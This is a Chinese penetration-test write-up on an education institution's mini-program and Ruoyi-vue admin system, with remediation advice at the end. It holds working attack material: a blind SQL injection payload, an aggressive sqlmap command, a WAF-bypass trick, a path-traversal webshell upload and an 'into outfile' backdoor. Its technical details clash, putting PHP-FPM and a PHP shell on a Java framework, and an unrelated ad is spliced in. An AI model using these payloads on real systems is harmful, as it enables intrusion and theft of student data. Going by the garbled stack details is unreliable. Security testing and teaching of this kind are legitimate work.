1. 项目背景与目标
去年夏天,我接到某教育机构的渗透测试委托。他们新上线的小程序商城和后台管理系统即将迎来开学季流量高峰,校方希望在正式运营前全面排查安全隐患。这类项目最吸引人的地方在于:小程序作为前端入口,往往与后台系统存在复杂的交互,而教育机构的系统又常常因为历史遗留问题存在特殊漏洞。
测试范围包括:
- 奥特曼投票入口小程序(学生活动页面)
- Vue3开发的后台管理系统(教务管理端)
- 微信支付对接模块
- 学生信息数据库接口
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 信息收集阶段
2.1 小程序逆向分析
使用Android模拟器运行小程序后,通过RE工具获取到关键信息:
bash复制adb pull /data/data/com.tencent.mm/MicroMsg/{userhash}/appbrand/pkg
发现三个高危点:
- 接口域名直接硬编码在js中(未使用环境变量)
- 部分API接口未做鉴权
- 上传组件未校验文件类型
2.2 后台系统指纹识别
通过Burp Suite抓包识别出:
- 后台框架:Ruoyi-vue 3.6.0
- Web服务器:Nginx 1.18 + PHP-FPM 7.4
- 数据库:MySQL 5.7(存在已知漏洞版本)
关键发现:登录页面存在用户名枚举漏洞(不同错误提示),且验证码可重复使用。
3. 渗透测试过程实录
3.1 SQL注入突破
在"学生成绩查询"接口发现时间盲注:
sql复制/search?stu_id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--+
利用sqlmap自动化注入:
bash复制sqlmap -u "http://target.com/search" --data="stu_id=1" --level=3 --risk=3 --dbms=mysql --batch
成功获取:
- 管理员账号密码(md5加密)
- 学生身份证号明文存储
- 微信支付密钥
关键技巧:遇到WAF时使用/!50000注释/绕过,如:1'/!50000AND/ SLEEP(5)--+
3.2 文件上传漏洞利用
小程序头像上传功能存在缺陷:
- 修改Content-Type为image/jpeg
- 使用双后缀名:shell.php.jpg
- 配合目录穿越获取webshell:
http复制POST /upload HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="../../../shell.php"
3.3 后台权限提升
通过获取的普通教师账号,发现分页接口存在SQL注入:
sql复制GET /user/list?orderBy=update_time&asc=desc%20(SELECT%20@@version)
利用Ruoyi框架的排序参数注入,最终通过MySQL的into outfile功能写入后门。
4. 典型漏洞修复方案
4.1 SQL注入防护
建议采用:
java复制// MyBatis使用#{}替代${}
@Select("SELECT * FROM users WHERE id = #{id}")
User getById(@Param("id") Long id);
// 添加全局过滤器拦截特殊字符
public class SqlFilter implements Filter {
private static final String[] KEYWORDS = {"select", "union", "sleep"};
}
4.2 文件上传安全
必须实现:
- 白名单校验(扩展名+文件头)
- 随机重命名文件
- 存储目录禁用脚本执行
nginx复制location ~* \.(php|jsp)$ {
deny all;
}
4.3 权限控制优化
- 接口添加@RequiresPermissions注解
- 启用JWT令牌时效性检查
- 敏感操作增加二次认证
5. 渗透测试心得
-
小程序安全往往被忽视,但通过反编译可以获取大量敏感信息。建议对小程序代码进行混淆,关键接口应动态获取。
-
教育系统常见问题:
- 外包开发遗留测试接口
- 第三方组件未及时更新
- 开发/生产环境配置混用
-
在测试微信支付模块时,发现如果频繁调用"支付功能暂时无法使用"的接口,会触发系统降级机制,反而可能绕过某些安全检查。
-
对于Vue等前端框架开发的后台系统,要特别注意:
- 接口文档是否暴露(常见于/swagger-ui.html)
- 源代码映射文件泄漏(*.js.map)
- 本地存储敏感信息(localStorage)
这次测试最终共发现23个中高危漏洞,其中最严重的是通过SQL注入获取的数据库权限,可以完全控制全校师生数据。校方根据报告进行了全面整改,并在开学前通过了复测。对于从事教育行业开发的同学,建议特别关注第三方组件的安全更新,以及最小权限原则的实施。
